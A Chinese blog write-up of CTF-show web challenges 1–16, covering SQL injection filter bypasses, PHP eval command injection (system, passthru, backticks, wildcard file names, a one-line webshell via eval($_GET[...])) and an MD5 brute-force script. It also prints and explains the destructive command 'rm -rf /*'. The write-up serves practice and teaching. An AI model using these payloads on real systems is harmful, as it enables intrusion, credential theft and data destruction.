CTF-show web第一题到第十六题

CTF-show web第一题到第十六题

可以看到这是一段源码,所以这题就是看源码然后来注入,

这里看到参数是id 然后传参方式是get型,get型传参拿到的永远都是字符串形式

这里有一句话意思是flag是id=1000

但是这里有条件id>999会出错

所以这一题的解法就是绕过这个id>999而且我们的id 最后得为1000

1.这里有一个函数intval(“ ”)这个函数的意思是将括号内的双引号包含的文本转换为数字

第一种,括号内是"ab1000"时,结果时0,因为intval函数会从第一个开始转换但是遇到非数字的会结束并返回0

第二种,“100.99”,结果时100,因为intval函数不会四舍五入它会砍掉小数部分

2.select * from article where id = $id order by id limit 1 这里我们如果绕过了id>999我们就会把剩余的内容拼接到$id这个位置,后面的意思时order by id意思是以id 这个字段分组默认为升序,limit 1返回第一条记录

来,先绕过id>999,我们使用/?id='1000',解释一下当我们的值传入get里面是就是get("'1000'"),就是一个双引号加上一个单引号。所以,intval('1000')结果就是0,而0又小于999所以就绕过了判断然后拼接到了select * from article where id = '1000' order by id limit 1这里,数据库会把'1000'看成1000来执行就得到flag了

我们也可以使用id=-1 or id=1000 因为数据库中没有id=-1的所以就只有id=1000的,为什么不用id=1 or id=1000呢,因为后面有个limit 1 如果使用这个那么我们只能拿到id=1的,其实id=1000也执行了,只不过有limit 1 而已,所以才要将前面的弄错,让他只能输出后面的id=1000

第二题

先看源码在原有的基础上加了一个判断

if(preg_match("/or|\+/i",$id)){die("id error");}

这句话是用来防注入的

/ ... /

正则表达式的开始和结束符,固定写法。

or

匹配字符串 or(不区分大小写)。

|

正则里的 “或”意思是:左边 or 或 右边 + 任意一个出现就算匹配。

\+

匹配 加号 +因为 + 在正则里是特殊符号,所以必须加 \ 转义。

i

修饰符,表示 不区分大小写

所以就是在原来的基础上不能输入or 和 +号 了,因为被过滤掉了所以

我们讲一个特别的运算符~位运算

  • ~x = 4294967295 - x
  • ~~x = x

当~1000时=4294967295-1000=4294966295

~~1000=4294967295-4294966295=1000

所以,我们用id=~~1000可以完美绕过。

第一步会到isset()判断是否有值,然后id=~~1000,到if(preg_match("/or|\+/i",$id),这里是正则表达式只要有or或+号就会为真就执行die,但是我们不会触发这个,随后到intval(~~1000)的结果为0成功绕过,然后就会拼接sql语句为:select * from article where id = ~~1000 order by id limit 1,但是~是运算符所以会先运算在执行,所以结果为1000成功拿到flag

还有很多如负数法-1000,和科学计数法1e3以及括号法(1000)

第三题到第六题

看源码就多了

if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){die("id error");

这句话过滤掉了or,+-*\,<,>,!,hex这些被过滤掉了但是并没有过滤掉我们的~所以依旧可以用id=~~1000

第四题,

if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id))可以看到过滤了很多唯独没有过滤~所以这两题差不多

第五题

if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){die("id error");就没有过滤掉~所以依旧

但是这里为什么会过滤掉select如果不过滤掉select就可以用union型注入什么是union 型注入攻击呢?

就是在原来的语句后面加上union

比如:select * from flag where id=-1 union select 1,2,3 from flag where id=1000

这句话前面id为负数就会被报错但后面能正常显示,可以去看墨者学院的SQL注入题

第六题

if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){die("id error");

这里也没有过滤掉~,所以依然可以使用

第七题

先看过滤掉了什么

if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){die("id error");}

这里过滤了很多而且把~,也过滤了所以只能使用其他方法。

第一种:div 这个等同于除号的另一种写法所以可以

/?id=500 div 0.5 只要结果为1000就行列如100 div 0.1 也行

第二种:二进制绕过

/?id=0b1111101000

这里的0是数字0不是字母o

第八题

这一题纯属玩,解了半天题发现自己是阿呆所以,那还说啥了删库跑路了。

rm -rf /* 解释一下这句话

rm 文件路径1 文件路径2

-f强制删除不弹窗

-r删除文件夹要带

而/*表示在根目录下的所有内容。

所以这句话就会让计算机变成板砖,只能重装系统,但是所有的内容都会消失。

违法!不搞

第九题

新的开始

if(preg_match("/system|exec|highlight/i",$c)){eval($c);}else{die("cmd error");

这句话的意思是输入中要包含system ,exec, highlight(这里的highlight原名是使用时也要写原名:highlight_file)中的一个才能执行eval()否则就会出错

eval()这个函数的意思是eval () 是 PHP 的执行函数作用:把一段字符串,当成 PHP 代码直接运行!

知道了eval的用法我们就来看

这三个函数,先分别执行

/?c=system('cat config.php');

/?c=exec('cat config.php');

这里有一个问题exec本质上和system差不多区别就是exec它不会自动输出,而且它只会取最后一行的内容,所以改进一下用shell_exec替换掉exec但是必须要手动使用echo才能看到结果

/?c=echo shell_exec('cat config.pnp');

这里我用的是tac不是cat ,tac是将结果倒排,cat是正排这是他们的区别使用cat给你们看看

就只能在网络里面查看

/?c=highlight_file('config.php');

这里使用的cat意思是输出文件中的所有内容,也可以使用more,more的意思就是阅读。注意这一题里面一定要记住;分号不能省略

第十题

if(!preg_match("/system|exec|highlight/i",$c)){eval($c);}else{die("cmd error");

这是它的过滤条件里面多了一个!意思就是取反,将真的变为假的,也就是说这三个被过滤掉了出现了不管大小写都会报错

所以这里我们要使用这三个之外的passthru()他与system区别在于passthru是将结果输出到浏览器中

使用:?c=passthru('cat config.php');就可以在网络里面响应拿到结果

第十一题:

没啥就多了一个cat不能用,那我们就用tac意思就是cat的倒序

第十二题

if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){eval($c);

这题很有意思,因为它过滤掉了cat ,.(点),php,config

怎么办不能写文件名和后缀名了就只能换,我们可以用passthru替代system,less,tac,more,tail,head来替换cat,使用通配符来替换文件名通配符在LINUX基础15条下面然后less,more,tail,head都在里面,就不说了所以这题就写

c=passthru('tac con*');

c=passthru('tail con*');

c=passthru('less con*');

c=passthru('head con*');都行

第十三题

if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){eval($c);

首先这里面过滤掉了特别重要的分号;

所以我们得用其他方式来闭合,既然无法用分号闭合,可以考虑用?>直接闭合php代码文件。

所以就是/?c=passthru('tac con*')?>

也可以使用一句话木马?c=eval($_GET[q])?>&q=system("tac config.php");

解释一下:可以看到属于get传参形式而且没有过滤掉eval,然后eval(),括号里面要写传参方式

$_GET[q]这个是什么意思其中$_GET[]是传参方式,单引号里面是传入的变量可以自己命名而后面的&q=system("tac config.php");就是我们传入的值,那为什么分号没有被过滤掉因为前面有?>提前闭合了

所以后面没有任何限制了随便写。?c=eval($_GET[t])?>&t=passthru('cat config.php');

第十四题

if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){eval($c);

这一题把左括号也过滤掉了就不能使用函数passthru()来了,所以就只能用echo 在用反引号`也就是~下面那个

写/?c=echo `tac con*`?>解释一下反引号的作用:将反引号里面的内容当作命令来执行

echo就是输出的意思

?c=echo `$_GET[f]`?>&f=cat config.php;这个也行,但是不知道为什么给f加上单引号会错误

第十五题

if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){eval($c);

过滤了*,?这两个通配符,还有(代表不能使用函数了,还有点,以及php,config不能写完全文件名

这里我们可以使用其他的通配符:[],{},

不能使用函数我们就可以用一句话木马,而且这里的分号;放出来了<>大于小于被禁用了所以

方法一(通配符解法):/?c=echo `tac confi[g][!0-9]p[h]p`;

解释一下:由于不能使用函数所以就用echo 然后用反引号用tac代替cat,[]这里面类似于匹配如果有两个就有两种比如[ab]就代表a或b,那么[!0-9]什么意思,意思是除去0123456789就还剩一个.点。那为什么不能[.]因为里面只能是字符。

方法二(一句话木马):/?c=echo `$_GET[a]`;&a=cat config.php

解释一下:有echo打印出来,后面的分号类似于?>这个。

第十六题

这题解释过来就是要我们输入的c的值和ctfshow连接后的哈希值为a6f57ae38a22448c2f07f3f95f49c84e时才会得到flag

我们就只需要将a6f57ae38a22448c2f07f3f95f49c84e使用md5解密就可以得到原文,所以爆破哈希值就行

import hashlib#计算md5要带
import itertools#枚举要带
import string#方便的字符集

# 已知前缀和目标 md5
PREFIX = "ctfshow"
TARGET = "a6f57ae38a22448c2f07f3f95f49c84e"

# 枚举的字符集:这里用 小写 +大写字母+ 数字
CHARSET = string.ascii_lowercase +string.ascii_uppercase+ string.digits
# 也可以改成只数字:CHARSET = string.digits

MAX_LEN = 5 # 最长枚举长度,够用就行

def brute():
for length in range(1, MAX_LEN + 1):#1到5+1但是不包含6
print(f"[+] trying length = {length}")
for comb in itertools.product(CHARSET, repeat=length):#从CHARSET这个字符集里面取长度为length的字符个数的所有组合
suffix = "".join(comb)#将取出来的comb变成字符串
s = PREFIX + suffix#连接两个字符串
h = hashlib.md5(s.encode()).hexdigest()#先将s字符串转换成字节b'',因为md5只能对字节,hexdigest()转为16进制
if h == TARGET:
print(f"[!] found: c = {suffix!r}")
return suffix
print("[-] not found in given search space")
return None

if __name__ == "__main__":
brute()

最后结果为36d将36d传入c就行

posted @ 2026-10-27 12:38  均木  阅读(12)  评论(0)    收藏  举报